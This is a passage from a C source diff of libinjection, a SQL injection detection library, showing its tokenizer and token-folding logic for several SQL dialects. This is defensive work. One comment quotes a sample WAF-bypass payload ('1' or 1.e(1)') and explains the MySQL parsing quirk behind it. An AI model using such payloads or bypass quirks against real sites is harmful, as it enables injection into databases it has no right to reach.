((left == right) && cstrcasecmp(keywords[left].word, key, len) == 0) { + return keywords[left].type; + } else { + return CHAR_NULL; + } +} + +static char is_keyword(const char *key, size_t len) { + return bsearch_keyword_type(key, len, sql_keywords, sql_keywords_sz); +} + +/* st_token methods + * + * The following functions manipulates the stoken_t type + * + * + */ + +static void st_clear(stoken_t *st) { memset(st, 0, sizeof(stoken_t)); } + +static void st_assign_char(stoken_t *st, const char stype, size_t pos, + size_t len, const char value) { + /* done to eliminate unused warning */ + (void)len; + st->type = (char)stype; + st->pos = pos; + st->len = 1; + st->val[0] = value; + st->val[1] = CHAR_NULL; +} + +static void st_assign(stoken_t *st, const char stype, size_t pos, size_t len, + const char *value) { + const size_t MSIZE = LIBINJECTION_SQLI_TOKEN_SIZE; + size_t last = len < MSIZE ? len : (MSIZE - 1); + st->type = (char)stype; + st->pos = pos; + st->len = last; + memcpy(st->val, value, last); + st->val[last] = CHAR_NULL; +} + +static void st_copy(stoken_t *dest, const stoken_t *src) { + memcpy(dest, src, sizeof(stoken_t)); +} + +static int st_is_arithmetic_op(const stoken_t *st) { + const char ch = st->val[0]; + return (st->type == TYPE_OPERATOR && st->len == 1 && + (ch == '*' || ch == '/' || ch == '-' || ch == '+' || ch == '%')); +} + +static int st_is_unary_op(const stoken_t *st) { + const char *str = st->val; + const size_t len = st->len; + + if (st->type != TYPE_OPERATOR) { + return FALSE; + } + + switch (len) { + case 1: + return *str == '+' || *str == '-' || *str == '!' || *str == '~'; + case 2: + return str[0] == '!' && str[1] == '!'; + case 3: + return cstrcasecmp("NOT", str, 3) == 0; + default: + return FALSE; + } +} + +/* Parsers + * + * + */ + +static size_t parse_white(struct libinjection_sqli_state + *sf) { // cppcheck-suppress constParameterCallback + return sf->pos + 1; +} + +static size_t parse_operator1(struct libinjection_sqli_state *sf) { + const char *cs = sf->s; + size_t pos = sf->pos; + + st_assign_char(sf->current, TYPE_OPERATOR, pos, 1, cs[pos]); + return pos + 1; +} + +static size_t parse_other(struct libinjection_sqli_state *sf) { + const char *cs = sf->s; + size_t pos = sf->pos; + + st_assign_char(sf->current, TYPE_UNKNOWN, pos, 1, cs[pos]); + return pos + 1; +} + +static size_t parse_char(struct libinjection_sqli_state *sf) { + const char *cs = sf->s; + size_t pos = sf->pos; + + st_assign_char(sf->current, cs[pos], pos, 1, cs[pos]); + return pos + 1; +} + +static size_t parse_eol_comment(struct libinjection_sqli_state *sf) { + const char *cs = sf->s; + const size_t slen = sf->slen; + size_t pos = sf->pos; + + const char *endpos = + (const char *)memchr((const void *)(cs + pos), '\n', slen - pos); + if (endpos == NULL) { + st_assign(sf->current, TYPE_COMMENT, pos, slen - pos, cs + pos); + return slen; + } else { + st_assign(sf->current, TYPE_COMMENT, pos, (size_t)(endpos - cs) - pos, + cs + pos); + return (size_t)((endpos - cs) + 1); + } +} + +/** In ANSI mode, hash is an operator + * In MYSQL mode, it's a EOL comment like '--' + */ +static size_t parse_hash(struct libinjection_sqli_state *sf) { + sf->stats_comment_hash += 1; + if (sf->flags & FLAG_SQL_MYSQL) { + sf->stats_comment_hash += 1; + return parse_eol_comment(sf); + } else { + st_assign_char(sf->current, TYPE_OPERATOR, sf->pos, 1, '#'); + return sf->pos + 1; + } +} + +static size_t parse_dash(struct libinjection_sqli_state *sf) { + const char *cs = sf->s; + const size_t slen = sf->slen; + size_t pos = sf->pos; + + /* + * five cases + * 1) --[white] this is always a SQL comment + * 2) --[EOF] this is a comment + * 3) --[notwhite] in MySQL this is NOT a comment but two unary operators + * 4) --[notwhite] everyone else thinks this is a comment + * 5) -[not dash] '-' is a unary operator + */ + + if (pos + 2 < slen && cs[pos + 1] == '-' && char_is_white(cs[pos + 2])) { + return parse_eol_comment(sf); + } else if (pos + 2 == slen && cs[pos + 1] == '-') { + return parse_eol_comment(sf); + } else if (pos + 1 < slen && cs[pos + 1] == '-' && + (sf->flags & FLAG_SQL_ANSI)) { + /* --[not-white] not-white case: + * + */ + sf->stats_comment_ddx += 1; + return parse_eol_comment(sf); + } else { + st_assign_char(sf->current, TYPE_OPERATOR, pos, 1, '-'); + return pos + 1; + } +} + +/** This detects MySQL comments, comments that + * start with /x! We just ban these now but + * previously we attempted to parse the inside + * + * For reference: + * the form of /x![anything]x/ or /x!12345[anything] x/ + * + * Mysql 3 (maybe 4), allowed this: + * /x!0selectx/ 1; + * where 0 could be any number. + * + * The last version of MySQL 3 was in 2003. + + * It is unclear if the MySQL 3 syntax was allowed + * in MySQL 4. The last version of MySQL 4 was in 2008 + * + */ +static size_t is_mysql_comment(const char *cs, const size_t len, size_t pos) { + /* so far... + * cs[pos] == '/' && cs[pos+1] == '*' + */ + + if (pos + 2 >= len) { + /* not a mysql comment */ + return 0; + } + + if (cs[pos + 2] != '!') { + /* not a mysql comment */ + return 0; + } + + /* + * this is a mysql comment + * got "/x!" + */ + return 1; +} + +static size_t parse_slash(struct libinjection_sqli_state *sf) { + const char *ptr; + size_t clen; + const char *cs = sf->s; + const size_t slen = sf->slen; + size_t pos = sf->pos; + const char *cur = cs + pos; + char ctype = TYPE_COMMENT; + size_t pos1 = pos + 1; + if (pos1 == slen || cs[pos1] != '*') { + return parse_operator1(sf); + } + + /* + * skip over initial '/x' + */ + ptr = memchr2(cur + 2, slen - (pos + 2), '*', '/'); + if (ptr == NULL) { + /* till end of line */ + clen = slen - pos; + } else { + clen = (size_t)(ptr + 2 - cur); + } + + /* + * postgresql allows nested comments which makes + * this is incompatible with parsing so + * if we find a '/x' inside the coment, then + * make a new token. + * + * Also, Mysql's "conditional" comments for version + * are an automatic black ban! + */ + + if (ptr != NULL && + memchr2(cur + 2, (size_t)(ptr - (cur + 1)), '/', '*') != NULL) { + ctype = TYPE_EVIL; + } else if (is_mysql_comment(cs, slen, pos)) { + ctype = TYPE_EVIL; + } + + st_assign(sf->current, ctype, pos, clen, cs + pos); + return pos + clen; +} + +static size_t parse_backslash(struct libinjection_sqli_state *sf) { + const char *cs = sf->s; + const size_t slen = sf->slen; + size_t pos = sf->pos; + + /* + * Weird MySQL alias for NULL, "\N" (capital N only) + */ + if (pos + 1 < slen && cs[pos + 1] == 'N') { + st_assign(sf->current, TYPE_NUMBER, pos, 2, cs + pos); + return pos + 2; + } else { + st_assign_char(sf->current, TYPE_BACKSLASH, pos, 1, cs[pos]); + return pos + 1; + } +} + +static size_t parse_operator2(struct libinjection_sqli_state *sf) { + char ch; + const char *cs = sf->s; + const size_t slen = sf->slen; + size_t pos = sf->pos; + + if (pos + 1 >= slen) { + return parse_operator1(sf); + } + + if (pos + 2 < slen && cs[pos] == '<' && cs[pos + 1] == '=' && + cs[pos + 2] == '>') { + /* + * special 3-char operator + */ + st_assign(sf->current, TYPE_OPERATOR, pos, 3, cs + pos); + return pos + 3; + } + + ch = sf->lookup(sf, LOOKUP_OPERATOR, cs + pos, 2); + if (ch != CHAR_NULL) { + st_assign(sf->current, ch, pos, 2, cs + pos); + return pos + 2; + } + + /* + * not an operator.. what to do with the two + * characters we got? + */ + + if (cs[pos] == ':') { + /* ':' is not an operator */ + st_assign(sf->current, TYPE_COLON, pos, 1, cs + pos); + return pos + 1; + } else { + /* + * must be a single char operator + */ + return parse_operator1(sf); + } +} + +/* + * Ok! " \" " one backslash = escaped! + * " \\" " two backslash = not escaped! + * "\\\" " three backslash = escaped! + */ +#ifndef __clang_analyzer__ +static int is_backslash_escaped(const char *end, const char *start) { + const char *ptr; + /* Code not to be analyzed by clang. + * + * Why we do this? Because there is a false positive here: + * libinjection_sqli.c:608:13: warning: Out of bound memory access (access + * exceeds upper limit of memory block) [alpha.security.ArrayBoundV2] if + * (*ptr + * != '\\') { + * ^~~~ + * Specifically, this function deals with non-null terminated char arrays. + * This can be added as prerequisite, and is not written clearly. But the + * math in the for below holds. + */ + for (ptr = end; ptr >= start; ptr--) { + if (*ptr != '\\') { + break; + } + } + /* if number of backslashes is odd, it is escaped */ + return (end - ptr) & 1; +} +#endif + +static size_t is_double_delim_escaped(const char *cur, const char *end) { + return ((cur + 1) < end) && *(cur + 1) == *cur; +} + +/* Look forward for doubling of delimiter + * + * case 'foo''bar' --> foo''bar + * + * ending quote isn't duplicated (i.e. escaped) + * since it's the wrong char or EOL + * + */ +static size_t parse_string_core(const char *cs, const size_t len, size_t pos, + stoken_t *st, char delim, size_t offset) { + /* + * offset is to skip the perhaps first quote char + */ + const char *qpos = (const char *)memchr((const void *)(cs + pos + offset), + delim, len - pos - offset); + + /* + * then keep string open/close info + */ + if (offset > 0) { + /* + * this is real quote + */ + st->str_open = delim; + } else { + /* + * this was a simulated quote + */ + st->str_open = CHAR_NULL; + } + + while (TRUE) { + if (qpos == NULL) { + /* + * string ended with no trailing quote + * assign what we have + */ + st_assign(st, TYPE_STRING, pos + offset, len - pos - offset, + cs + pos + offset); + st->str_close = CHAR_NULL; + return len; + } else if (is_backslash_escaped(qpos - 1, cs + pos + offset)) { + /* keep going, move ahead one character */ + qpos = (const char *)memchr((const void *)(qpos + 1), delim, + (size_t)((cs + len) - (qpos + 1))); + continue; + } else if (is_double_delim_escaped(qpos, cs + len)) { + /* keep going, move ahead two characters */ + qpos = (const char *)memchr((const void *)(qpos + 2), delim, + (size_t)((cs + len) - (qpos + 2))); + continue; + } else { + /* hey it's a normal string */ + st_assign(st, TYPE_STRING, pos + offset, + (size_t)(qpos - (cs + pos + offset)), cs + pos + offset); + st->str_close = delim; + return (size_t)(qpos - cs + 1); + } + } +} + +/** + * Used when first char is a ' or " + */ +static size_t parse_string(struct libinjection_sqli_state *sf) { + const char *cs = sf->s; + const size_t slen = sf->slen; + size_t pos = sf->pos; + + /* + * assert cs[pos] == single or double quote + */ + return parse_string_core(cs, slen, pos, sf->current, cs[pos], 1); +} + +/** + * Used when first char is: + * N or n: mysql "National Character set" + * E : psql "Escaped String" + */ +static size_t parse_estring(struct libinjection_sqli_state *sf) { + const char *cs = sf->s; + const size_t slen = sf->slen; + size_t pos = sf->pos; + + if (pos + 2 >= slen || cs[pos + 1] != CHAR_SINGLE) { + return parse_word(sf); + } + return parse_string_core(cs, slen, pos, sf->current, CHAR_SINGLE, 2); +} + +static size_t parse_ustring(struct libinjection_sqli_state *sf) { + const char *cs = sf->s; + size_t slen = sf->slen; + size_t pos = sf->pos; + + if (pos + 2 < slen && cs[pos + 1] == '&' && cs[pos + 2] == '\'') { + sf->pos += 2; + pos = parse_string(sf); + sf->current->str_open = 'u'; + if (sf->current->str_close == '\'') { + sf->current->str_close = 'u'; + } + return pos; + } else { + return parse_word(sf); + } +} + +static size_t parse_qstring_core(struct libinjection_sqli_state *sf, + size_t offset) { + char ch; + const char *strend; + const char *cs = sf->s; + size_t slen = sf->slen; + size_t pos = sf->pos + offset; + + /* if we are already at end of string.. + if current char is not q or Q + if we don't have 2 more chars + if char2 != a single quote + then, just treat as word + */ + if (pos >= slen || (cs[pos] != 'q' && cs[pos] != 'Q') || pos + 2 >= slen || + cs[pos + 1] != '\'') { + return parse_word(sf); + } + + ch = cs[pos + 2]; + + /* the ch > 127 is un-needed since + * we assume char is signed + */ + if (ch < 33 /* || ch > 127 */) { + return parse_word(sf); + } + switch (ch) { + case '(': + ch = ')'; + break; + case '[': + ch = ']'; + break; + case '{': + ch = '}'; + break; + case '<': + ch = '>'; + break; + } + + strend = memchr2(cs + pos + 3, slen - pos - 3, ch, '\''); + if (strend == NULL) { + st_assign(sf->current, TYPE_STRING, pos + 3, slen - pos - 3, + cs + pos + 3); + sf->current->str_open = 'q'; + sf->current->str_close = CHAR_NULL; + return slen; + } else { + st_assign(sf->current, TYPE_STRING, pos + 3, + (size_t)(strend - cs) - pos - 3, cs + pos + 3); + sf->current->str_open = 'q'; + sf->current->str_close = 'q'; + return (size_t)(strend - cs + 2); + } +} + +/* + * Oracle's q string + */ +static size_t parse_qstring(struct libinjection_sqli_state *sf) { + return parse_qstring_core(sf, 0); +} + +/* + * mysql's N'STRING' or + * ... Oracle's nq string + */ +static size_t parse_nqstring(struct libinjection_sqli_state *sf) { + size_t slen = sf->slen; + size_t pos = sf->pos; + if (pos + 2 < slen && sf->s[pos + 1] == CHAR_SINGLE) { + return parse_estring(sf); + } + return parse_qstring_core(sf, 1); +} + +/* + * binary literal string + * re: [bB]'[01]*' + */ +static size_t parse_bstring(struct libinjection_sqli_state *sf) { + size_t wlen; + const char *cs = sf->s; + size_t pos = sf->pos; + size_t slen = sf->slen; + + /* need at least 2 more characters + * if next char isn't a single quote, then + * continue as normal word + */ + if (pos + 2 >= slen || cs[pos + 1] != '\'') { + return parse_word(sf); + } + + wlen = strlenspn(cs + pos + 2, sf->slen - pos - 2, "01"); + if (pos + 2 + wlen >= slen || cs[pos + 2 + wlen] != '\'') { + return parse_word(sf); + } + st_assign(sf->current, TYPE_NUMBER, pos, wlen + 3, cs + pos); + return pos + 2 + wlen + 1; +} + +/* + * hex literal string + * re: [xX]'[0123456789abcdefABCDEF]*' + * mysql has requirement of having EVEN number of chars, + * but pgsql does not + */ +static size_t parse_xstring(struct libinjection_sqli_state *sf) { + size_t wlen; + const char *cs = sf->s; + size_t pos = sf->pos; + size_t slen = sf->slen; + + /* need at least 2 more characters + * if next char isn't a single quote, then + * continue as normal word + */ + if (pos + 2 >= slen || cs[pos + 1] != '\'') { + return parse_word(sf); + } + + wlen = + strlenspn(cs + pos + 2, sf->slen - pos - 2, "0123456789ABCDEFabcdef"); + if (pos + 2 + wlen >= slen || cs[pos + 2 + wlen] != '\'') { + return parse_word(sf); + } + st_assign(sf->current, TYPE_NUMBER, pos, wlen + 3, cs + pos); + return pos + 2 + wlen + 1; +} + +/** + * This handles MS SQLSERVER bracket words + * http://stackoverflow.com/questions/3551284/sql-serverwhat-do-brackets-mean-around-column-name + * + */ +static size_t parse_bword(struct libinjection_sqli_state *sf) { + const char *cs = sf->s; + size_t pos = sf->pos; + const char *endptr = (const char *)memchr(cs + pos, ']', sf->slen - pos); + if (endptr == NULL) { + st_assign(sf->current, TYPE_BAREWORD, pos, sf->slen - pos, cs + pos); + return sf->slen; + } else { + st_assign(sf->current, TYPE_BAREWORD, pos, + (size_t)(endptr - cs) - pos + 1, cs + pos); + return (size_t)((endptr - cs) + 1); + } +} + +static size_t parse_word(struct libinjection_sqli_state *sf) { + char ch; + char delim; + size_t i; + const char *cs = sf->s; + size_t pos = sf->pos; + size_t wlen = + strlencspn(cs + pos, sf->slen - pos, + " []{}<>:\\?=@!#~+-*/&|^%(),';\t\n\v\f\r\"\240\000"); + + st_assign(sf->current, TYPE_BAREWORD, pos, wlen, cs + pos); + + /* now we need to look inside what we good for "." and "`" + * and see if what is before is a keyword or not + */ + for (i = 0; i < sf->current->len; ++i) { + delim = sf->current->val[i]; + if (delim == '.' || delim == '`') { + ch = sf->lookup(sf, LOOKUP_WORD, sf->current->val, i); + if (ch != TYPE_NONE && ch != TYPE_BAREWORD) { + /* needed for swig */ + st_clear(sf->current); + /* + * we got something like "SELECT.1" + * or SELECT`column` + */ + st_assign(sf->current, ch, pos, i, cs + pos); + return pos + i; + } + } + } + + /* + * do normal lookup with word including '.' + */ + if (wlen < LIBINJECTION_SQLI_TOKEN_SIZE) { + + ch = sf->lookup(sf, LOOKUP_WORD, sf->current->val, wlen); + if (ch == CHAR_NULL) { + ch = TYPE_BAREWORD; + } + sf->current->type = ch; + } + return pos + wlen; +} + +/* MySQL backticks are a cross between string and + * and a bare word. + * + */ +static size_t parse_tick(struct libinjection_sqli_state *sf) { + size_t pos = + parse_string_core(sf->s, sf->slen, sf->pos, sf->current, CHAR_TICK, 1); + + /* we could check to see if start and end of + * of string are both "`", i.e. make sure we have + * matching set. `foo` vs. `foo + * but I don't think it matters much + */ + + /* check value of string to see if it's a keyword, + * function, operator, etc + */ + char ch = sf->lookup(sf, LOOKUP_WORD, sf->current->val, sf->current->len); + if (ch == TYPE_FUNCTION) { + /* if it's a function, then convert token */ + sf->current->type = TYPE_FUNCTION; + } else { + /* otherwise it's a 'n' type -- mysql treats + * everything as a bare word + */ + sf->current->type = TYPE_BAREWORD; + } + return pos; +} + +static size_t parse_var(struct libinjection_sqli_state *sf) { + size_t xlen; + const char *cs = sf->s; + const size_t slen = sf->slen; + size_t pos = sf->pos + 1; + + /* + * var_count is only used to reconstruct + * the input. It counts the number of '@' + * seen 0 in the case of NULL, 1 or 2 + */ + + /* + * move past optional other '@' + */ + if (pos < slen && cs[pos] == '@') { + pos += 1; + sf->current->count = 2; + } else { + sf->current->count = 1; + } + + /* + * MySQL allows @@`version` + */ + if (pos < slen) { + if (cs[pos] == '`') { + sf->pos = pos; + pos = parse_tick(sf); + sf->current->type = TYPE_VARIABLE; + return pos; + } else if (cs[pos] == CHAR_SINGLE || cs[pos] == CHAR_DOUBLE) { + sf->pos = pos; + pos = parse_string(sf); + sf->current->type = TYPE_VARIABLE; + return pos; + } + } + + xlen = strlencspn(cs + pos, slen - pos, + " <>:\\?=@!#~+-*/&|^%(),';\t\n\v\f\r'`\""); + if (xlen == 0) { + st_assign(sf->current, TYPE_VARIABLE, pos, 0, cs + pos); + return pos; + } else { + st_assign(sf->current, TYPE_VARIABLE, pos, xlen, cs + pos); + return pos + xlen; + } +} + +static size_t parse_money(struct libinjection_sqli_state *sf) { + size_t xlen; + const char *strend; + const char *cs = sf->s; + const size_t slen = sf->slen; + size_t pos = sf->pos; + + if (pos + 1 == slen) { + /* end of line */ + st_assign_char(sf->current, TYPE_BAREWORD, pos, 1, '$'); + return slen; + } + + /* + * $1,000.00 or $1.000,00 ok! + * This also parses $....,,,111 but that's ok + */ + + xlen = strlenspn(cs + pos + 1, slen - pos - 1, "0123456789.,"); + if (xlen == 0) { + if (cs[pos + 1] == '$') { + /* we have $$ .. find ending $$ and make string */ + strend = memchr2(cs + pos + 2, slen - pos - 2, '$', '$'); + if (strend == NULL) { + /* fell off edge */ + st_assign(sf->current, TYPE_STRING, pos + 2, slen - (pos + 2), + cs + pos + 2); + sf->current->str_open = '$'; + sf->current->str_close = CHAR_NULL; + return slen; + } else { + st_assign(sf->current, TYPE_STRING, pos + 2, + (size_t)(strend - (cs + pos + 2)), cs + pos + 2); + sf->current->str_open = '$'; + sf->current->str_close = '$'; + return (size_t)(strend - cs + 2); + } + } else { + /* ok it's not a number or '$$', but maybe it's pgsql "$ quoted + * strings" + */ + xlen = strlenspn( + cs + pos + 1, slen - pos - 1, + "abcdefghjiklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"); + if (xlen == 0) { + /* hmm it's "$" _something_ .. just add $ and keep going*/ + st_assign_char(sf->current, TYPE_BAREWORD, pos, 1, '$'); + return pos + 1; + } + /* we have $foobar????? */ + /* is it $foobar$ */ + if (pos + xlen + 1 == slen || cs[pos + xlen + 1] != '$') { + /* not $foobar$, or fell off edge */ + st_assign_char(sf->current, TYPE_BAREWORD, pos, 1, '$'); + return pos + 1; + } + + /* we have $foobar$ ... find it again */ + strend = my_memmem(cs + pos + xlen + 2, slen - (pos + xlen + 2), + cs + pos, xlen + 2); + + if (strend == NULL) { + /* fell off edge */ + st_assign(sf->current, TYPE_STRING, pos + xlen + 2, + slen - pos - xlen - 2, cs + pos + xlen + 2); + sf->current->str_open = '$'; + sf->current->str_close = CHAR_NULL; + return slen; + } else { + /* got one */ + st_assign(sf->current, TYPE_STRING, pos + xlen + 2, + (size_t)(strend - (cs + pos + xlen + 2)), + cs + pos + xlen + 2); + sf->current->str_open = '$'; + sf->current->str_close = '$'; + return (size_t)((strend + xlen + 2) - cs); + } + } + } else if (xlen == 1 && cs[pos + 1] == '.') { + /* $. should parsed as a word */ + return parse_word(sf); + } else { + st_assign(sf->current, TYPE_NUMBER, pos, 1 + xlen, cs + pos); + return pos + 1 + xlen; + } +} + +static size_t parse_number(struct libinjection_sqli_state *sf) { + size_t xlen; + size_t start; + const char *digits = NULL; + const char *cs = sf->s; + const size_t slen = sf->slen; + size_t pos = sf->pos; + int have_e = 0; + int have_exp = 0; + + /* cs[pos] == '0' has 1/10 chance of being true, + * while pos+1< slen is almost always true + */ + if (cs[pos] == '0' && pos + 1 < slen) { + if (cs[pos + 1] == 'X' || cs[pos + 1] == 'x') { + digits = "0123456789ABCDEFabcdef"; + } else if (cs[pos + 1] == 'B' || cs[pos + 1] == 'b') { + digits = "01"; + } + + if (digits) { + xlen = strlenspn(cs + pos + 2, slen - pos - 2, digits); + if (xlen == 0) { + st_assign(sf->current, TYPE_BAREWORD, pos, 2, cs + pos); + return pos + 2; + } else { + st_assign(sf->current, TYPE_NUMBER, pos, 2 + xlen, cs + pos); + return pos + 2 + xlen; + } + } + } + + start = pos; + while (pos < slen && ISDIGIT(cs[pos])) { + pos += 1; + } + + if (pos < slen && cs[pos] == '.') { + pos += 1; + while (pos < slen && ISDIGIT(cs[pos])) { + pos += 1; + } + if (pos - start == 1) { + /* only one character read so far */ + st_assign_char(sf->current, TYPE_DOT, start, 1, '.'); + return pos; + } + } + + if (pos < slen) { + if (cs[pos] == 'E' || cs[pos] == 'e') { + have_e = 1; + pos += 1; + if (pos < slen && (cs[pos] == '+' || cs[pos] == '-')) { + pos += 1; + } + while (pos < slen && ISDIGIT(cs[pos])) { + have_exp = 1; + pos += 1; + } + } + } + + /* oracle's ending float or double suffix + * http://docs.oracle.com/cd/B19306_01/server.102/b14200/sql_elements003.htm#i139891 + */ + if (pos < slen && (cs[pos] == 'd' || cs[pos] == 'D' || cs[pos] == 'f' || + cs[pos] == 'F')) { + if (pos + 1 == slen) { + /* line ends evaluate "... 1.2f$" as '1.2f' */ + pos += 1; + } else if ((char_is_white(cs[pos + 1]) || cs[pos + 1] == ';')) { + /* + * easy case, evaluate "... 1.2f ... as '1.2f' + */ + pos += 1; + } else if (cs[pos + 1] == 'u' || cs[pos + 1] == 'U') { + /* + * a bit of a hack but makes '1fUNION' parse as '1f UNION' + */ + pos += 1; + } else { + /* it's like "123FROM" */ + /* parse as "123" only */ + } + } + + /* very special form of + * "1234.e" + * "10.10E" + * ".E" + * + * https://gosecure.ai/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/ + * In this blog post, we can see that 1.e or 1.E is a risky SQLI. The SQL + * parser ignores it during parsing. For example, "1.e(1)" => (1), 1 1.e/1 + * => 1/1, etc. So, if a payload like "1' or 1.e(1)" bypasses SQLI + * detection, which is really risky, then we should detect such SQLI + * injection in case of WAF bypass. + */ + if (!(have_e == 1 && have_exp == 0)) { + st_assign(sf->current, TYPE_NUMBER, start, pos - start, cs + start); + } + + return pos; +} + +/* + * API to return version. This allows us to increment the version + * without having to regenerated the SWIG (or other binding) in minor + * releases. + */ +const char *libinjection_version(void) { return LIBINJECTION_VERSION; } + +int libinjection_sqli_tokenize(struct libinjection_sqli_state *sf) { + pt2Function fnptr; + size_t *pos = &sf->pos; + stoken_t *current = sf->current; + const char *s = sf->s; + const size_t slen = sf->slen; + + if (slen == 0) { + return FALSE; + } + + st_clear(current); + sf->current = // cppcheck-suppress[redundantAssignment,unmatchedSuppression] + current; + + /* + * if we are at beginning of string + * and in single-quote or double quote mode + * then pretend the input starts with a quote + */ + if (*pos == 0 && (sf->flags & (FLAG_QUOTE_SINGLE | FLAG_QUOTE_DOUBLE))) { + *pos = parse_string_core(s, slen, 0, current, flag2delim(sf->flags), 0); + sf->stats_tokens += 1; + return TRUE; + } + + while (*pos < slen) { + + /* + * get current character + */ + const unsigned char ch = (unsigned char)(s[*pos]); + + /* + * look up the parser, and call it + * + * Porting Note: this is mapping of char to function + * charparsers[ch]() + */ + fnptr = char_parse_map[ch]; + + *pos = (*fnptr)(sf); + + /* + * + */ + if (current->type != CHAR_NULL) { + sf->stats_tokens += 1; + return TRUE; + } + } + return FALSE; +} + +void libinjection_sqli_init(struct libinjection_sqli_state *sf, const char *s, + size_t len, int flags) { + if (flags == 0) { + flags = FLAG_QUOTE_NONE | FLAG_SQL_ANSI; + } + + memset(sf, 0, sizeof(struct libinjection_sqli_state)); + sf->s = s; + sf->slen = len; + sf->lookup = libinjection_sqli_lookup_word; + sf->userdata = 0; + sf->flags = flags; + sf->current = &(sf->tokenvec[0]); +} + +static void libinjection_sqli_reset(struct libinjection_sqli_state *sf, + int flags) { + void *userdata = sf->userdata; + ptr_lookup_fn lookup = sf->lookup; + + if (flags == 0) { + flags = FLAG_QUOTE_NONE | FLAG_SQL_ANSI; + } + libinjection_sqli_init(sf, sf->s, sf->slen, flags); + sf->lookup = lookup; + sf->userdata = userdata; +} + +void libinjection_sqli_callback(struct libinjection_sqli_state *sf, + ptr_lookup_fn fn, void *userdata) { + if (fn == NULL) { + sf->lookup = libinjection_sqli_lookup_word; + sf->userdata = (void *)(NULL); + } else { + sf->lookup = fn; + sf->userdata = userdata; + } +} + +/** See if two tokens can be merged since they are compound SQL phrases. + * + * This takes two tokens, and, if they are the right type, + * merges their values together. Then checks to see if the + * new value is special using the PHRASES mapping. + * + * Example: "UNION" + "ALL" ==> "UNION ALL" + * + * C Security Notes: this is safe to use C-strings (null-terminated) + * since the types involved by definition do not have embedded nulls + * (e.g. there is no keyword with embedded null) + * + * Porting Notes: since this is C, it's oddly complicated. + * This is just: multikeywords[token.value + ' ' + token2.value] + * + */ +static int +syntax_merge_words(struct libinjection_sqli_state *sf, stoken_t *a, + stoken_t *b) { // cppcheck-suppress constParameterPointer + size_t sz1; + size_t sz2; + size_t sz3; + char tmp[LIBINJECTION_SQLI_TOKEN_SIZE]; + char ch; + + /* first token is of right type? */ + if (!(a->type == TYPE_KEYWORD || a->type == TYPE_BAREWORD || + a->type == TYPE_OPERATOR || a->type == TYPE_UNION || + a->type == TYPE_FUNCTION || a->type == TYPE_EXPRESSION || + a->type == TYPE_TSQL || a->type == TYPE_SQLTYPE)) { + return FALSE; + } + + if (!(b->type == TYPE_KEYWORD || b->type == TYPE_BAREWORD || + b->type == TYPE_OPERATOR || b->type == TYPE_UNION || + b->type == TYPE_FUNCTION || b->type == TYPE_EXPRESSION || + b->type == TYPE_TSQL || b->type == TYPE_SQLTYPE || + b->type == TYPE_LOGIC_OPERATOR)) { + return FALSE; + } + + sz1 = a->len; + sz2 = b->len; + sz3 = sz1 + sz2 + 1; /* +1 for space in the middle */ + if (sz3 >= LIBINJECTION_SQLI_TOKEN_SIZE) { /* make sure there is room for + ending null */ + return FALSE; + } + /* + * oddly annoying last.val + ' ' + current.val + */ + memcpy(tmp, a->val, sz1); + tmp[sz1] = ' '; + memcpy(tmp + sz1 + 1, b->val, sz2); + tmp[sz3] = CHAR_NULL; + ch = sf->lookup(sf, LOOKUP_WORD, tmp, sz3); + + if (ch != CHAR_NULL) { + st_assign(a, ch, a->pos, sz3, tmp); + return TRUE; + } else { + return FALSE; + } +} + +int libinjection_sqli_fold(struct libinjection_sqli_state *sf) { + stoken_t last_comment; + + /* POS is the position of where the NEXT token goes */ + size_t pos = 0; + + /* LEFT is a count of how many tokens that are already + folded or processed (i.e. part of the fingerprint) */ + size_t left = 0; + + int more = 1; + + st_clear(&last_comment); + + /* Skip all initial comments, right-parens ( and unary operators + * + */ + sf->current = &(sf->tokenvec[0]); + while (more) { + more = libinjection_sqli_tokenize(sf); + if (!(sf->current->type == TYPE_COMMENT || + sf->current->type == TYPE_LEFTPARENS || + sf->current->type == TYPE_SQLTYPE || + st_is_unary_op(sf->current))) { + break; + } + } + + if (!more) { + /* If input was only comments, unary or (, then exit */ + return 0; + } else { + /* it's some other token */ + pos += 1; + } + + while (1) { + FOLD_DEBUG; + + /* do we have all the max number of tokens? if so do + * some special cases for 5 tokens + */ + if (pos >= LIBINJECTION_SQLI_MAX_TOKENS) { + if ((sf->tokenvec[0].type == TYPE_NUMBER && + (sf->tokenvec[1].type == TYPE_OPERATOR || + sf->tokenvec[1].type == TYPE_COMMA) && + sf->tokenvec[2].type == TYPE_LEFTPARENS && + sf->tokenvec[3].type == TYPE_NUMBER && + sf->tokenvec[4].type == TYPE_RIGHTPARENS) || + (sf->tokenvec[0].type == TYPE_BAREWORD && + sf->tokenvec[1].type == TYPE_OPERATOR && + sf->tokenvec[2].type == TYPE_LEFTPARENS && + (sf->tokenvec[3].type == TYPE_BAREWORD || + sf->tokenvec[3].type == TYPE_NUMBER) && + sf->tokenvec[4].type == TYPE_RIGHTPARENS) || + (sf->tokenvec[0].type == TYPE_NUMBER && + sf->tokenvec[1].type == TYPE_RIGHTPARENS && + sf->tokenvec[2].type == TYPE_COMMA && + sf->tokenvec[3].type == TYPE_LEFTPARENS && + sf->tokenvec[4].type == TYPE_NUMBER) || + (sf->tokenvec[0].type == TYPE_BAREWORD && + sf->tokenvec[1].type == TYPE_RIGHTPARENS && + sf->tokenvec[2].type == TYPE_OPERATOR && + sf->tokenvec[3].type == TYPE_LEFTPARENS && + sf->tokenvec[4].type == TYPE_BAREWORD)) { + if (pos > LIBINJECTION_SQLI_MAX_TOKENS) { + st_copy(&(sf->tokenvec[1]), + &(sf->tokenvec[LIBINJECTION_SQLI_MAX_TOKENS])); + pos = 2; + left = 0; + } else { + pos = 1; + left = 0; + } + } + } + + if (!more || left >= LIBINJECTION_SQLI_MAX_TOKENS) { + left = pos; + break; + } + + /* get up to two tokens */ + while (more && pos <= LIBINJECTION_SQLI_MAX_TOKENS && + (pos - left) < 2) { + sf->current = &(sf->tokenvec[pos]); + more = libinjection_sqli_tokenize(sf); + if (more) { + if (sf->current->type == TYPE_COMMENT) { + st_copy(&last_comment, sf->current); + } else { + last_comment.type = CHAR_NULL; + pos += 1; + } + } + } + FOLD_DEBUG; + /* did we get 2 tokens? if not then we are done */ + if (pos - left < 2) { + left = pos; + continue; + } + + /* FOLD: "ss" -> "s" + * "foo" "bar" is valid SQL + * just ignore second string + */ + if (sf->tokenvec[left].type == TYPE_STRING && + sf->tokenvec[left + 1].type == 